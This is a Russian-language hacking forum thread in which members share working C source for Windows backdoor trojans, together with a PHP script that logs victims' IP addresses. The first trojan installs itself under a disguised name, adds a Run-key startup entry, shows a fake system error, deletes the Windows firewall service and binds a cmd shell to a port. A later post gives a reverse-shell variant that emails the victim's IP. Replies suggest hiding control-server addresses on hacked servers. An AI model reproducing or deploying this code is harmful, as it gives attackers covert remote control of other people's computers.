Shell backdoor

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by los8005, 24 Nov 2009.

  1. los8005

    los8005 Member

    Joined:
    28 Sep 2009
    Messages:
    19
    Likes Received:
    5
    Reputations:
    5
    Вообщем прошу не пинать за криволапый код и т.д. и т.п.

    Материалы и компоненты:

    1)IDE Code::Block + MinGW
    2)ДЕНВЕР
    3)Подключить либы libws2_32.a, libwininet.a

    Описание:
    Троянец открывает узел, тем самым записывая IP в снифер, а затем биндиться. Куда и как - можно посмотреть в коде.

    Код шелл-бека:

    Code:
    #include <windows.h>
    #include <winsock.h>
    #include <wininet.h>
    #include <io.h>
    
    #define addresstoip "http://www.get.ru/add.php"//Адрес снифа
    #define port 34
    
    
    bool FileExists(const char *fname){
        return access(fname,0) != -1;
        }
    
    void KillMayer(void){//Функция для защиты шелла и убийства гребанного мауера
    SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
    if (hSCM != NULL)
    {
    SC_HANDLE hService = OpenService(hSCM, "SharedAccess", SERVICE_STOP|DELETE);
    if (hService != NULL)
    {
    SERVICE_STATUS Status;
    ControlService(hService, SERVICE_CONTROL_STOP, &Status);
    Sleep(500);
    BOOL bOk = DeleteService(hService);
    }
    CloseServiceHandle(hService);
    }
    CloseServiceHandle(hSCM);
    }
    
    void Setup(void){//Функция для установки в систему
    char str[MAX_PATH],sysbuf[MAX_PATH];//Переменные
    
    GetModuleFileName(GetModuleHandle(NULL),str,MAX_PATH);
    GetSystemDirectory(sysbuf,MAX_PATH);
    
    strcat(sysbuf,"\\znoskernloadnoremove.exe");//Имя троянца
    
    if(!FileExists(sysbuf)){
    CopyFile(str,sysbuf,true);
    
    HKEY hk;
    RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
    RegSetValueEx(hk,"Kernel OS Loader",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1);
    RegCloseKey(hk);
    
    MessageBoxA(0,"Системная ошибка по адресу 0x001200. Повторная установка приложения может помочь","Windows",MB_ICONERROR);
    }
    }
    
    void InfectSystem(void){//Функция для создания шелла на 34 порту
         WSADATA wsd;
         int fd,newfd;
         struct sockaddr_in sin;
         char *cmd = "cmd";
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
    
    	 memset(&si,0,sizeof(si));
    	 memset(&pi,0,sizeof(pi));
    
         WSAStartup(0x101,&wsd);
    	 fd=WSASocketA(2,1,0,0,0,0);
    
         sin.sin_family=2;
         sin.sin_addr.s_addr=0;
         sin.sin_port=htons(port);
    
    	 bind(fd,(struct sockaddr *)&sin, 0x10);
    	 listen(fd,0);
    
    	 newfd=accept(fd,(struct sockaddr *)&sin,0);
         si.cb=sizeof(si);
         si.dwFlags=0x0101;
         si.hStdInput=(char*)newfd;
         si.hStdOutput=(char*)newfd;
         si.hStdError=(char*)newfd;
    
         CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);
    
         WaitForSingleObject(pi.hProcess, INFINITE);
         ExitThread(0);
    }
    
    bool GetStatusConnect(void){//Получение статуса подключения к интернету
    typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved);
    // возвращает 1, если комп подключен к интеренту, в противном случае - 0
    bool bRetVal;
        HINSTANCE hLib = NULL;
        INETCHECKPROC pfnInternetGetConnectedState;
    // грузим (в смысле загружаем) библиотеку wininet.dll
        hLib = LoadLibrary("wininet.dll");
        if (!hLib) // если не получилось загрузить библиотеку, то
            return 0; // возвращаем 0
    // получаем адрес функции InternetGetConnectedState
        pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState");
    // Если не удалось получить адрес функции
        if(!pfnInternetGetConnectedState)
            return false; // возвращаем 0
        DWORD lpdwFlags;
    // проверяем соединение
        bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0;
        FreeLibrary(hLib); // выгружаем библиотеку
        return bRetVal; // возвращаем статус подключения
    }
    
    void SendMyIP(void){//Функция отправки IP
        const char *accept = "Accept: */*";
        HINTERNET session = InternetOpen("Our Agent",INTERNET_OPEN_TYPE_PROXY,NULL,"", 0);
        HINTERNET url = InternetOpenUrl(session,addresstoip,0,0,0,0);
        HINTERNET hRequest = HttpOpenRequest(url,"GET","",NULL,NULL,&accept,0,1);
        HttpSendRequestA(hRequest,NULL,NULL,NULL,NULL);
        }
    
    int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow){
        //Устанавливаемся
        Setup();
        //Удаляем гребаный мауер
        KillMayer();
        //Ждем, пока комп будет подключен к нету
        bool con = GetStatusConnect();
        while(!con){//ne podklychen
        con = GetStatusConnect();
        Sleep(1500);
        }
        //Когда цикл будет верен посылаем IP и работаем
        SendMyIP();//Отправляем и...
        InfectSystem();//...работаем!
        return 0;//Все, из маин прог моно выходить. Все заметано
    }
    
    
    Такс.... Код бэкшелла готов. Теперь с кодом PHP снифа. Поффторюсь за криволапый код и использование a вместо w не пинать. Все таки месяцев 5 назад писал...

    Code:
    
    <?php
    function GetIP() {
      if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
         $ip = getenv("HTTP_CLIENT_IP");
      else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
         $ip = getenv("HTTP_X_FORWARDED_FOR");
      else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
         $ip = getenv("REMOTE_ADDR");
      else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
         $ip = $_SERVER['REMOTE_ADDR'];
      else
         $ip = "unknown";
      return $ip;
    } // GetIP
    
    $FILE_SCHABLONE = fopen('ip.html','r');
    $MAIN;
    
    while($buf = fread($FILE_SCHABLONE,10)){
    	$MAIN=$MAIN.$buf;
    }
    
    fclose($FILE_SCHABLONE);
    
    $IP=GetIP();
    $MAIN = $MAIN.$IP." ,current time: ".date("H:i, <b>d-m-Y</b>")."<br>";
    
    $FILE_SCHABLONE_WRITE = fopen('ip.html','w');
    fwrite($FILE_SCHABLONE_WRITE,$MAIN);
    fclose($FILE_SCHABLONE_WRITE);
    
    ?>
    
    
    Не забудьте создать еще файл ip.html . Ну все вроде. Есть маленькая просьба: взамен дать исходник или хотяб совет на то как написать что нибудь типа Lamers Death.
     
    2 people like this.
  2. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    советую юзать порты побольше. где-то от 1000+. такие могут быть заняты.. мало-ли чем.

    вот это круто. я то я с паузами и прочими извратами делал.

    как-то функция неочень выглядит.. почему не сделал на обычных сокетах?

    вот это тру, в жопу ВС.

    я свой аналогичный бекдор на дедики заливаю. там nat'a или нет, или часто можно настроить порты.
    а так, я уже пишу свой бекдор с бекконектом и свистелками, а там будет и статья. Следите за обновлениями в блоге .

    кста, сколько весит EXE на выходе?
     
  3. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    >вот это тру, в жопу ВС.
    Аргументируй свое мнение =\
     
  4. __mad

    __mad Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    100
    Likes Received:
    38
    Reputations:
    7

    ЧЕ? Риальные пацаны не юзают закрытое ПО!
     
  5. los8005

    los8005 Member

    Joined:
    28 Sep 2009
    Messages:
    19
    Likes Received:
    5
    Reputations:
    5
    Да, мне она самому не нравиться))) Гдет была функция на чистых сокетах. Так я её пасеял, а теперь скок не пытаюсь свои писать - не тот аипи шлет... Решил использовать ПХП + нет проблем с отправкой ип. ))) Не надо мучацца и думать о отправке по почте и т.д. А по остальному: ну я ж первый раз пишу))) С VCL перешел))) Ну и еще - не для вреда написано. Была задача компом своим же управлять(скрытно) - и для таких целей мне CMD достаточно... И еще есть желание принять участие в разработке Программы Удаленного Администрироввания... mr. The, может обьединимся...)))) Про размер: 8,5 kb
     
    #5 los8005, 24 Nov 2009
    Last edited: 24 Nov 2009
    1 person likes this.
  6. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    0о, это как ты его компилируешь? На отсутствие либ не ругается?

    нет, я тоже на гейт захожу, для чека ip)

    дадада, тут вирусы запрещены, поэтому это всё для управления своим компом. а так - опенсорса полно)

    да я тут про бекконнект(хотя, это скорее просто управление бекдором, без подключения конкретно к нему) допишу, а там посмотрим)

    вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.
     
  7. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Слушай ты, "Риальный пацан", сначала разберись со студией, а потом пизди в ее адрес. Это ИМХО самая лутшая среда разработки под винду, и не пиздите тут =\

    Тяжолая? Да, есть такое дело, но чтобы небыло "кучи хрени" можно использовать не навороченую ВС 2006.
     
  8. los8005

    los8005 Member

    Joined:
    28 Sep 2009
    Messages:
    19
    Likes Received:
    5
    Reputations:
    5
    Ну над уметь пользоваться опциями линкера... Полная оптимизация по размеру. А без либ - линкер бы выплюнул....)))) С наглой мордой. А по ВЦ - ребят, для мелких проектов в один/два исходника можно и батником+notepad++ обойтись)))) А вот если разбираться в куче кода да еще если эта куча ООП со всеми вытекающими, то конечно лучше клацкнуть по классу и сразу все увидеть))))
    хех.... Ну а что же? Мне компом лично управлять надо... Если бы эт было направлено на протроянивание я бы еще обход эвристика сделал, методом прямого вызова функции. Библиотеку бы подгрузил и т.д. и т.п.
    Да, вот функция получения ИП, нашел я счас:
    Code:
    #include <winsock2.h>
    string GetLocalIP()
    {
    int i=0;
    char Buffer[63];
    
    WSADATA GInitData;
    WSAStartup(MAKEWORD(2,2), &GInitData);
    
    string result;
    gethostname(Buffer,63);
    
    hostent *phe=gethostbyname(Buffer);
    
    if(phe==NULL)return "";
    while((*phe).h_addr_list[i]!=NULL)
     {
     result=string(inet_ntoa((*(in_addr*)(*phe).h_addr_list[i])));
     i++;
     }
    
    WSACleanup();
    
    return result;
    }
    
    Не забывать еще либу libws2_32.a , для VC юверей: libws2_32.lib или тип того, не помню))))
     
    1 person likes this.
  9. _dex_

    _dex_ New Member

    Joined:
    1 Nov 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    в таком случае лучше использовать бэкконнект!
    Адреса серверов хранить на каком нить ломанном серваке, брать оттуда адрес, коннектиться, ну а дальше выполнять необходимые действия.

    О_о.... задать опции линкера в студии, или батнике.

    с кучей лишнего? ну хз, как по мне так, то там наоборот многого не хватает, различные не удобства... а так студия очень даже клевая, особенно с плагинами по типу Visual Assist и прочими... хотя я привык работать в eclipse =/...
    code::blocks - даже не пробывал... он мне не понравился =/
     
  10. los8005

    los8005 Member

    Joined:
    28 Sep 2009
    Messages:
    19
    Likes Received:
    5
    Reputations:
    5
    На моей машине работает и получает сетевой. Хотя функция не моя. Я её переписал на Сяху ток. А Code::Block - на любителя. Мне превычней в ней. Синтаксис первоначально более приближен к тому, что я учил, а в вц свои дополнения и т.д. и т.п.
     
  11. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,301
    Reputations:
    327
    тогда уж реверсшелл бы делал
     
  12. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    я никогда не пробовал конфеты, но они мне не понравились

    значит, ты не за натом.

    я и так включил максимальную оптимизацию.. может я что-то пропустил, скинь параметры, с которыми ты делаешь линковку. а про либы - это я говорил о самом exe. я как-то тоже делал размер на выходе около 5 кб, но на выходе, ругалось, что не может найти dll. Писать определение места dll их их подгрузку мне было лень, мне 19.5 кб хватает.

    хм, спасибо, сейчас погуглю, а то я вроде 2007 тестил.. мне тут надо для кпк софт писать, а больше негде толком.

    я уже писал, есть несколько опенсорсных проэктов, погугли.
     
  13. vadakoff

    vadakoff New Member

    Joined:
    20 Jan 2011
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Тоже заинтересован этой темой, недавно написал свой клиентский бэкдор с отправкой внешнего адреса на мыло. Код конечно не такой изящный получился :). Собирал на Pelles C.
    Code:
    #include <winsock2.h>
    #include <time.h>
    #include <stdio.h>
    #include <string.h>
    #pragma comment (lib, "Ws2_32.lib")
    int client_socket(char *ip, int port)
    {
         int s;
         int c;
         WSADATA wsd;
         struct sockaddr_in sin;
         WSAStartup(0x101,&wsd);
         s = WSASocketA(2,1,0,0,0,0);
         sin.sin_family=AF_INET;
         sin.sin_addr.s_addr=inet_addr(ip);
         sin.sin_port=htons(port);
      do{
         c = connect(s,(struct sockaddr *)&sin, sizeof(sin));
         _sleep(5); 
         }while(c == -1);
         return s;
    }
    /*----------main_programm----------*/
    int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgs, int nWinMode)
    {
     int fd;
     char helo[] = "helo mail\r\n";
     char auth[] = "auth login\r\n";
     char login[] = "<логин в base64>\r\n";     //логин в base64                
     char pass[] = "<пароль в base64>\r\n";     //пароль в base64                
     char mail[] = "mail from:<от кого>\r\n";   //от кого мыло
     char rcpt[] = "rcpt to:<кому>\r\n";        //кому
     char data[] = "data\r\n"; 
     char total[30];
     int i = 0;
     /*-----------------запрос_ip_адреса----------------------*/
     char sendbuf[] = "GET /get_ip.php?loc= HTTP/1.1\r\n\
    Host: www.myip.ru\r\n\
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\r\n\
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n\
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n\
    Accept-Encoding: gzip,deflate\r\n\
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n\
    Keep-Alive: 300\r\n\
    Connection: keep-alive\r\n\r\n";
     char buffer[1500];
     char recvbuf[128];
     memset(buffer, 0, sizeof(buffer));
     fd = client_socket("195.161.112.6", 80); //соединение с http://myip.ru/get_ip.php?loc=
     send(fd, sendbuf, sizeof(sendbuf), 0);   //отправка запроса
           recv(fd, buffer,sizeof(buffer),0); //получение ответа с последующим поиском по маске ip  
           for(i; i < 1500; i++)
       	     {
              if (buffer[i]== '>' && buffer[i+4]== '.' && buffer[i+8]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+4]== '.' && buffer[i+7]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+4]== '.' && buffer[i+6]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+3]== '.' && buffer[i+7]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+3]== '.' && buffer[i+6]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+3]== '.' && buffer[i+5]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+2]== '.' && buffer[i+6]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+2]== '.' && buffer[i+5]== '.'){goto t;}
              else if (buffer[i]== '>' && buffer[i+2]== '.' && buffer[i+4]== '.'){goto t;}
         	 }
    t: 
    memset(total, 0, sizeof(total));        
        for (int f=0; f<16;f++,i++)
             {
              if (buffer[i+1] == '<')
    			  goto exits;
              total[f] = buffer[i+1];        //сохранение найденого ip в total
             } 
    exits:
    closesocket(fd);
    /*-----------------соединение_с_mail.ru_и_отправка_ip_на_мыло----------------------*/
    fd = client_socket("94.100.177.1", 25);
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, helo, sizeof(helo)-1, 0);
    
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, auth, sizeof(auth)-1, 0); 
     
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, login, sizeof(login)-1, 0);
    
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, pass, sizeof(pass)-1, 0);
    
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, mail, sizeof(mail)-1, 0);
    
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, rcpt, sizeof(rcpt)-1, 0); 
    
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, data, sizeof(data)-1, 0);
    
     strcat(total, "\r\n.\r\n");
    
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
     send(fd, total, sizeof(total)-1, 0);
     memset(recvbuf, 0, sizeof(recvbuf));
     recv(fd, recvbuf, sizeof(recvbuf), 0);
    closesocket(fd);
    /*------------передача_шелла_на_сервер-------*/
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
         char *cmd = "cmd";
         int newsf;
    while(1)
    {
    	 memset(&si,0,sizeof(si));
         memset(&pi,0,sizeof(pi));	
         newsf = client_socket("192.168.0.2",4525);//netcat -l -p4525   	 
         si.cb=sizeof(si);
         si.dwFlags=0x0101;
         si.hStdInput=(char*)newsf;
         si.hStdOutput=(char*)newsf;
         si.hStdError=(char*)newsf;
         CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);
         WaitForSingleObject(pi.hProcess, INFINITE);
    }
    ExitThread(0);
    }
    Да, и еще: mr.The упоминал про свистелки, хотелось бы поинтересоватся что есть "свистелки"?
     
  14. yuran666666

    yuran666666 Member

    Joined:
    18 Jan 2009
    Messages:
    84
    Likes Received:
    19
    Reputations:
    11
    Интересно, а вы сами, товарищ автор не задумывались, как может произойти ошибка по адресу 00001200h, если любое обращение к адресам ниже 10000h в венде вызывает исключение и кодес уж никак не может выполняться по адресу указанной ошибки ибо исключение произойдет уже при попытке перехода на него, а это уже будет адрес инструкции перехода:) фейл?
     
  15. greki_hoy

    greki_hoy Member

    Joined:
    4 Mar 2010
    Messages:
    326
    Likes Received:
    57
    Reputations:
    41
    2vadakoff
    Code:
    int a,b,c,d,r;
    r = sscanf(buffer, "%d.%d.%d.%d", &a, &b, &c, &d);
    if (r == 4) ...